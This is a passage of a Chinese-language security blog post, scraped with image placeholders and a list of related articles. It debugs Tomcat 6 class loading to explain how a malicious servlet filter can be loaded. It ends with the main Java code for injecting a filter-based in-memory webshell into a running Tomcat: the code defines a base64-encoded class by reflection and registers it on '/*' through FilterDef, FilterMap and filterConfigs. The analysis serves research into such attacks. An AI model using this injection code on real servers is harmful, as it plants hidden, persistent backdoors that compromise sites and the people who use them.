文章插图
看到
this.findLoadedClass0(name)
从resourceEntries也就是classes下各个包中的.class找 , 是否有这个类,有的话直接return 这个entry的loadClass属性文章插图
这个属性存储的是该类的class对象,如果这里面有该类名,后面就直接resovleClass了
文章插图
这里肯定是没有我们的恶意filter,继续往下跟
后面直接调用
java.lang.ClassLoader#findLoadedClass
来通过ClassLoader去找是否已经加载过该class了而在这里是直接找到了
文章插图
查阅开发资料并思考了一下:
这里因为我们之前是通过当前线程上下文加载器把恶意filter给
loadClass
了,所以这里就是可以找到的后面随手翻了下
classloader
的属性,发现在classes
属性是存在该filter的class的文章插图
那么正好来debug一下当前线程上下文
ClassLoader#loadClass
的过程可以看到当前上下文的ClassLoader就是
WebappClassLoader
,并且此时classes
属性里并没有我们的恶意类文章插图
而当步过defineClass后 , 当前线程上下文ClassLoader也就是
WebappClassLoader
的classes
属性中就新增了我们的恶意filter的class所以后续在
getFilter
的逻辑中也是可以成功通过文章插图
回溯上面的逻辑时 ,
getFilter
方法因为会走到这个else逻辑内,所以最终也是通过WebappClassLoader#loadClass
的我们的恶意filter文章插图
以上 , 所以因为我们前面调用的是
Thread.currentThread().getContextClassLoader()
去加载的我们恶意filter类,而tomcat6中getFilter
逻辑是通过this.context.getLoader().getClassLoader();
去findClass,而这两个ClassLoader又同为WebappClassLoader
所以不会存在ClassNotfound
的问题 。所以tomcat6中注入filter内存马就不需要先实例化恶意filter存到filterDef中,直接使用Thread.currentThread().getContextClassLoader()
去defineClass
一下恶意filter即可 。注入内存马的主要代码如下:
Method var1 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);var1.setAccessible(true);byte[] var2 = base64decode("base64 str");var1.invoke(Thread.currentThread().getContextClassLoader(), var2, 0, var2.length);try {if (STANDARDCONTET != null) {// 1 反射获取filterDefClass FilterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef");Constructor FilterDefconstructor = FilterDefClass.getConstructor(new Class[]{});Object filterDef = FilterDefconstructor.newInstance();// 2 设置filternameMethod setFilterNameMethod = FilterDefClass.getDeclaredMethod("setFilterName", String.class);setFilterNameMethod.invoke(filterDef,filterName);// 3 setFilterClassMethod setFilterClassMethod = FilterDefClass.getDeclaredMethod("setFilterClass", String.class);setFilterClassMethod.invoke(filterDef,Thread.currentThread().getContextClassLoader().loadClass("HiganbanaFilter").getName());// 4 addFilterDefMethod addFilterDef=STANDARDCONTET.getClass().getMethod("addFilterDef", FilterDefClass);addFilterDef.invoke(STANDARDCONTET,filterDef);// 构造FilterMapClass FilterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap");Object filterMap =FilterMapClass.newInstance();Method setFilterNameMethod2 = FilterMapClass.getDeclaredMethod("setFilterName", String.class);setFilterNameMethod2.invoke(filterMap,FilterDefClass.getDeclaredMethod("getFilterName").invoke(filterDef));Method setDispatcherMethod = FilterMapClass.getDeclaredMethod("setDispatcher", String.class);setDispatcherMethod.invoke(filterMap,"REQUEST");Method addURLPatternMethod = FilterMapClass.getDeclaredMethod("addURLPattern", String.class);addURLPatternMethod.invoke(filterMap,"/*");Method addFilterMapMethod=STANDARDCONTET.getClass().getDeclaredMethod("addFilterMap", FilterMapClass);addFilterMapMethod.invoke(STANDARDCONTET,filterMap);// 创建filterconfig 并添加到standardcontext.filterconfigs数组里Class filterConfigClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");Constructor filterConfigCon = filterConfigClass.getDeclaredConstructor(Class.forName("org.apache.catalina.Context"), Class.forName("org.apache.catalina.deploy.FilterDef"));filterConfigCon.setAccessible(true);// 实例化ApplicationFilterConfig时触发getFilter方法Object filterConfigObj = filterConfigCon.newInstance(STANDARDCONTET, filterDef);Field filterConfigsField = STANDARDCONTET.getClass().getDeclaredField("filterConfigs");filterConfigsField.setAccessible(true);HashMap filterConfigsMap = (HashMap) filterConfigsField.get(STANDARDCONTET);filterConfigsMap.put(filterName, filterConfigObj);}} catch (Throwable var16) {var16.printStackTrace();}
推荐阅读
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 九 Istio:istio安全之授权
- 云顶之弈S7.5怒玉豹女阵容怎么玩
- 云顶之弈玉龙怎么换形锤阵容
- 云原生之旅 - 4)基础设施即代码 使用 Terraform 创建 Kubernetes
- 云顶之弈龙境探秘活动玩法是什么
- 一 网络安全:信息收集之玩转nmap(理论篇)
- 学习笔记之——C语言 函数
- JavaScript的异步编程之Promise
- 云顶之弈玉龙猴王阵容怎么玩
- 崩坏3武器索尔之锤强度如何